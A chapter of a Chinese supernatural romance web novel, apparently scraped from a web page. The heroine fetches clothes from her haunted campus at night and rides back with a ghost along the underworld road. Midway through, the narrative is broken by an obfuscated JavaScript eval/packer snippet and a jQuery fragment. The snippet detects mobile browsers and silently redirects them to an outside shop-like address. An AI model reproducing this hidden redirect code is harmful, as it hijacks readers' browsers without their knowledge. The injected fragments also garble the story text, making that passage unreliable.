20. 冥间道

作品:《被阴湿男鬼缠上以后

    李舒言关上了门,轻手轻脚下了楼。


    她随意套上了一件高领毛衣,背了个帆布包,一边往楼下走,一边打开手机搜索最近的地铁站。


    她打算待会儿在地铁上给左宁发个消息,告诉他自己回学校了,有东西没拿。


    李舒言向来不是一个喜欢麻烦别人的人。


    这会儿时间已经不早了,凭借李舒言自己,其实是可以回去拿衣服的,或许也能够再赶回来,但实在太晚了。


    索性今夜就不回来了。


    正打出一个字来,冷不丁的,头顶的灯光一下亮了起来。


    李舒言愣在原地,转头看去,左宁正靠在阳台处的栏杆边看她。


    他好像还没有睡,身上依旧穿着傍晚时换上的那身卫衣。


    黑色卫衣宽宽松松套在他身上,又在头顶灯光的映照下,反衬得他肤色如冷玉一般无暇。


    “舒言,你要去哪儿?”


    李舒言莫名有种被抓包的尴尬,她抿了抿唇,“我……阎婆给我做法事的衣服落在学校了,我……”


    “你要回去拿?”左宁接过她的话道。


    李舒言点头。


    他从栏杆上直起了身子,随手拉上了门,朝着她走进,“舒言,你要学会找人帮助。”


    他从李舒言身侧下了楼。


    李舒言连忙跟上,“你要送我?”


    左宁轻瞥了她一眼,一副不然呢的神情。


    “我只是想着时间太晚了,害怕麻烦你。”李舒言小声解释了一句。


    左宁轻叹了一息,“可是你晚上出门,若是遇见了什么东西,会更麻烦我的。”


    李舒言埋下了头,“我知道了。”


    上了车,李舒言双手紧紧握住安全带,眼神直视着前方。


    左宁看她这样严阵以待的模样,唇角轻弯了弯。


    打了方向盘,宾利就驶了出去。


    许是白日里来了一遭,李舒言这一次又有了心理准备,眨眼间,车停在学校大门外的时候,李舒言这一次并没有太大的不适感。


    她不敢耽误,连忙解了安全带要下车。


    “记住,有任何人喊你,都不要答应,也不要回头。”


    李舒言点头。


    一溜烟就跑进了学校大门。


    从校门口到A区宿舍要经过一条长长的梧桐大道。


    白日里尤其夏季,李舒言都觉得这条大道格外美丽。


    阳光自枝头落下,清淡的绿色将其摇成碎金。


    大道两边是来往的行人,还有骑着自行车的路过。


    挂在梧桐树间的广播放着流行的音乐,李舒言顺着人群往外走,会觉得空气里都是草木的清香味。


    脚步都轻盈了起来。


    可是如今到了晚上,梧桐树影成团地落在地上,风一吹,诡异得晃动起来。


    她从前也经常晚上回来,也没觉得这条路有这么可怕过。


    许是心理作用,李舒言耳边有觉得有冷飕飕的空气拂过。


    大脑一下转得飞快,她又不免想起那一夜在出租车上感受到的冷气。


    结果一转头看见的那张布满老人斑的脸。


    学校的年纪可比她大多了,不知道藏着多少东西。


    李舒言脚步不由就更快了一些,到后面几乎是要用跑的速度。


    刚走到一处分叉口,就听见有人在叫她。


    李舒言猛地打了一个哆嗦。


    声音好似从右侧传来,穿过那道小径深处,那边有一座实验楼。


    学校里传言,晚上千万不要留在那座实验楼里。


    因为那座楼曾经出过事。


    具体发生了什么,李舒言不太清楚。


    当初初入学时,班级群里有人传阅文件,李舒言没看,后来就过期了。


    只是听人说,曾经有人在晚上看见了不干净的东西。


    本来这也没有人会当回事,但是学校后来突然就将实验楼一楼的所有镜子全部都打碎了。


    无论见鬼是不是真的,但到底是学生私下传,可学校出手了,怎么都像是给这种事情盖了一个章。


    一下所有人都讳莫如深,晚上在实验楼上课的学生更是三三两两的结伴出行,下了课的老师都是坐在教室里不动。


    比起其他教学楼下课以后的吵闹,这座实验楼夜间已经到了安静的诡异的地步。


    放了学,更是一个个跑得比谁都快。


    李舒言大二上的时候和隔壁班的女生做小组作业去教学楼里,常常会撞见关了灯的情侣在里面做艾。


    但是没有人会去实验楼。


    李舒言几乎是一瞬间就想到是那个东西,只恨不得能够直接飞回寝室。


    她双耳不闻,头也没回,径直往前面走。


    可那声音从似有若无骤然变得尖利,“舒言!”


    李舒言惊得鸡皮疙瘩都起来了,立马跑了起来。


    那声音却依旧紧追不放,紧接着,一双手搭在了她的肩膀上,骤然将她拉转过了身。


    “舒言,你怎么不理我?”


    筱悠寡着脸看她,头顶的惨白的路灯打在她额头上,双颊上映照出两分往下走的阴影,显得眼睛有几分下三白。


    李舒言一个哆嗦,险些没有认出筱悠来。


    她松了一口气,“筱悠,你怎么这么晚还在外面?”


    她看了一眼筱悠来时的方向,“你是从实验楼过来的吗?”


    筱悠牵着嘴角笑了笑,“舒言,我们一起回吧。”


    不知为何,李舒言瞧着她笑容总觉得有几分僵硬。


    筱悠既然不愿意说,李舒言也就没再继续问。


    二人一同回了宿舍,嘉月瞧见李舒言回来有些震惊,“舒言,你怎么回来了?”


    李舒言说自己有东西没拿,回来取个东西就走。


    嘉月点了点头,又重新躺了回去。


    李舒言上床拿了压在枕头下的衣服,装进了帆布包里。


    等她下来的时候,筱悠还坐在她的位置上。


    李舒言不经意从她面前的镜子里看见了她盯着她的眼睛,黑黢黢的瞳仁像是黑米粒一般落在眼白中间。


    诡谲得瘆人。


    只一瞬间,那双眼就落了回去,李舒言再看,筱悠分明是在看自己的手机。


    李舒言心里有些毛毛的,眼看时间不早,拿了东西就火速出了寝室门。


    她埋着头火速穿过了梧桐大道,出了校门,在看见左宁的车停在路边才终于松了一口气。


    拉开车门坐了进去,李舒言发现自己的心跳得格外厉害。


    “拿到了?”


    李舒言“嗯”了一声。


    车又重新行驶了起来,窗外黑色的林木逐渐变得看不清楚,成了一片黑云。


    就好像是车窗上被人罩上了一块黑色的布一般。


    李舒言知道这是开得太快的缘故,但是不知是不是李舒言的错觉,她觉得这一趟回去,车速好似比方才慢了很多。


    她在窗前,看见时不时有一些白色的虚影飘过,到最后,那些虚影越来越大,越来越近,视野里变得白茫茫又透明的一片,像是升了雾气一般。


    模模糊糊,远近不一的,什么都看不清。


    她侧过头问左宁,“现在是走的冥间道吗?”


    左宁点了点头。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083910|194436||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他直视着前方,“眼下将近12点,鬼门大开,冥间道上游魂众多,开不了太快。”


    “是害怕会撞上他们吗?”


    左宁笑了笑,抽空瞥了她一眼,“舒言,你有听说过有鬼被撞死的吗?”


    李舒言脸红了红。


    “之所以要避开他们,是因为你是活人,不能被他们发现。”他解释道。


    李舒言点了点头,偏过了头去看窗外。


    有一辆公交车从旁边驶过,亮着红色的车灯,黄色的提示车号。


    和人间的公交车没什么区别。


    李舒言凑近了车窗看,左宁似瞧她对窗外似有些感兴趣,有意降低了车速。


    李舒言瞧见那辆公交车停在了路边,接着有白色的影子飘了进去。


    等一个个入了内,公交车门关闭,又立马朝前驶了出去。


    “鬼魂也要坐公交?”


    李舒言觉得稀奇,“我以为他们想要飘到哪里就飘到哪里呢。”


    “那是冥界来接游魂的引魂车,你所瞧见的那些虚影大多已经混沌,若是不把他们带往冥府,时日一久,就会魂飞魄散。”


    “可人死后不是有无常接应吗?”李舒言有限的认知里,知晓冥界是有黑白无常的。


    可为什么还有这么多鬼游荡在人间?


    “无常拘魂也会出现差错,有的鬼离开了去世地,再想再抓回来就不容易了。有怨气的魂灵或者有其他势力辅助,则会一直徘徊在去世的地方,这个时候即便是无常也带不走他们。”


    “其他势力辅助?比如?”李舒言敏锐地抓住了这一句,好奇问道。


    “比如……”左宁玩味地笑了一声,看她,“你们学校。”


    一提起学校,李舒言后脊又窜上了凉气。


    她想起左宁说她们学校风水不错,外面的东西进不去,里面的也出不来。


    再又联想到学校的那些传闻,李舒言脑海里又浮现出那幢实验楼的模样。


    灌木围成的小径延伸到最里面,门前种了两排桃树。


    脱皮的墙面从空旷的楼顶生长出大片大片的爬山虎。


    李舒言在对面教学楼上课的时候,春日的阳光恰好落不在上面,从生锈的窗框的角度望出去,青天白日里也有一种阴森森的感觉。


    她摩挲了一把肩臂,止住了好奇心,“好了,我不问了。”


    李舒言其实一直都觉得,她们学校实验楼那一片非常适合拍恐怖片。


    不仅教学楼外表的墙面脱皮,栏杆生锈,设备也很老化。


    廊下的声控灯常常失灵,偏生楼前又种植了很多高大的树木,遮蔽的阴影挡住了夏日里大半的阳光,致使空气里也有一股潮湿的气息。


    偏生逃生应急指示牌又做成绿色,李舒言有时候晚上图省时,绕近路穿过实验楼的时候,都觉得自己像是进入了恐怖无限副本里。


    但那个时候李舒言并不觉得害怕,她甚至隐隐有一种兴奋。


    越是在实验楼一楼的走廊逗留,她就越觉得血液在颤栗。


    仿佛有什么东西在呼唤她一样。


    压根没有想到学校里关于实验楼的那个传闻。


    只是觉得好安静,一个人也没有。


    这种感觉就和李舒言喜欢在晚上穿进没人的巷子里面是一样的。


    而如今,在被阎婆做了法事以后,李舒言才感觉终于找回自己的七情六欲,感受到了应该有的害怕和恐惧。


    有了这样强烈的情绪,让李舒言心间的虚无感消散了不少。


    真切地感受到了自己的存在。


    她摸着左胸处的心脏,那里在一下又一下地跳动。